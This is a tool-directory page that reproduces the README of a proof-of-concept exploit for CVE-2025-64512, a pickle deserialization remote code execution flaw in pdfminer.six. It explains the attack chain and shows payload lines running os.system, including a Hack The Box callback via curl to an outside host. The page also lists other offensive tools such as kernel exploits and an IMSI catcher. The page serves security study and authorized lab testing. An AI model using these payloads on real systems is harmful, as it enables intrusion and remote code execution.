Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-64512-Exploit-PoC — Proof-of-concept exploit for CVE-2025-64512, an unsafe pickle deserialization RCE in pdfminer.six, with a crafted PDF payload chain and lab demonstration. | Kitploit
工具/GitHubGitHub/frexyy8989/cve-2025-64512-exploit-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubfrexyy8989/cve-2025-64512-exploit-poc

CVE-2025-64512-Exploit-PoC

Proof-of-concept exploit for CVE-2025-64512, an unsafe pickle deserialization RCE in pdfminer.six, with a crafted PDF payload chain and lab demonstration.

查看仓库
2026年12月5日尚未审核
分享
内容在请求的语言中不可用。显示英文版本。

CVE-2025-64512 – pdfminer.six PoC & Exploit

An independent Proof of Concept (PoC) implementation for CVE-2025-64512, a code execution vulnerability affecting pdfminer.six through unsafe pickle deserialization.

This repository demonstrates the vulnerability mechanism and includes an example based on the Bedside machine from Hack The Box.

Disclaimer: This is an independent research project. I am not the original vulnerability discoverer. All credit for the original discovery belongs to the researchers credited in the official security advisory.

Vulnerability Information

FieldDetails
CVECVE-2025-64512
Projectpdfminer.six
VulnerabilityArbitrary Code Execution
CWECWE-502 – Deserialization of Untrusted Data
SeverityHigh
CVSS8.2
Official AdvisoryGHSA-wf5f-4jwr-ppcp

How It Works

The vulnerability is related to unsafe pickle deserialization in CMapDB._load_data().

The function loads compressed pickle data using pickle.loads(). A crafted PDF can specify an alternative CMap path through its /Encoding entry.

When the PDF is processed, pdfminer attempts to load the corresponding .pickle.gz file. If an attacker-controlled pickle file is loaded, Python code can execute in the context of the process.

The general vulnerability chain is:

  1. A crafted PDF specifies an alternative CMap path.
  2. pdfminer resolves the CMap filename.
  3. The .pickle.gz file is loaded.
  4. Unsafe pickle deserialization occurs.
  5. The embedded Python code is evaluated.

Configuration

The PoC contains two values that need to be adapted to the authorized test environment:

path = "/path/of/pwn/gz"
code = "os.system('PAYLOAD') or exit(0) or {}"
  • path: The CMap path referenced by the crafted PDF. pdfminer appends .pickle.gz to the name.
  • code: The Python expression used in the demonstration payload.

Bedside – Hack The Box Example

For my Bedside HTB lab testing, the example configuration uses:

path = "/var/www/research.bedside.htb/uploads/pwn"
code = "os.system('curl 10.10.14.201:9999/frexy') or exit(0) or {}"

Replace the example callback address with the address of your own authorized lab machine.

Important: On Linux, the referenced .pickle.gz file must exist at the corresponding path on the target filesystem. Creating the file locally does not automatically place it on the target. The PDF path and the pickle file location must match.

Requirements

  • Python 3
  • pdfminer.six
  • Access to an authorized vulnerable test environment

Usage

  1. Clone this repository.
  2. Install the required dependencies.
  3. Configure the PoC paths and test parameters.
  4. Generate the demonstration files.
  5. Submit the PDF to your authorized test environment.
  6. Observe whether the vulnerable PDF processing path is triggered.

Mitigation

Upgrade pdfminer.six to a patched release.

Refer to the official advisory for affected versions and remediation details:

https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp

References

  • Official GitHub Security Advisory
  • pdfminer.six GitHub Repository

Author

Independent security research and PoC implementation.

This repository is intended for educational purposes, authorized penetration testing, and controlled lab environments only.

下载工具

相关工具

  • metasploit-framework

    开源漏洞利用框架,具备模块化载荷、编码器和辅助系统,用于跨网络和应用的渗透测试、漏洞验证及安全研究。

  • donut

    生成 x86、x64 或 AMD64+x86 位置无关的 shellcode,可从内存加载 .NET 程序集、PE 文件及其他 Windows 有效负载,并带参数运行它们。

  • sRDI

    反射式DLL注入的Shellcode实现。将DLL转换为位置无关的Shellcode。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    ghostlock-app

    yukonga/ghostlock-app

    针对 CVE-2026-43499 的一键式 Android 内核漏洞利用应用,通过内核模块加载实现权限提升,并提供偏移提取与设备端分析工具。

    750
  • 2

    IMSIcatcher

    28zaaky/imsicatcher

    IMSI Catcher 平台,可部署伪基站 GSM 小区以拦截短信、注入消息并追踪移动设备

    739
  • 3

    Callisto

    jetp1ane/callisto

    自动化二进制漏洞分析工具,通过Ghidra反编译可执行文件,使用Semgrep扫描伪C代码,并利用GPT-3.5-Turbo验证发现以减少误报。

    585
  • 4

    opencti

    opencti-platform/opencti

    开放式网络威胁情报平台

    550
  • 5

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    414
  • 6

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    409

探索所有工具

浏览我们的工具集合

查看所有工具 →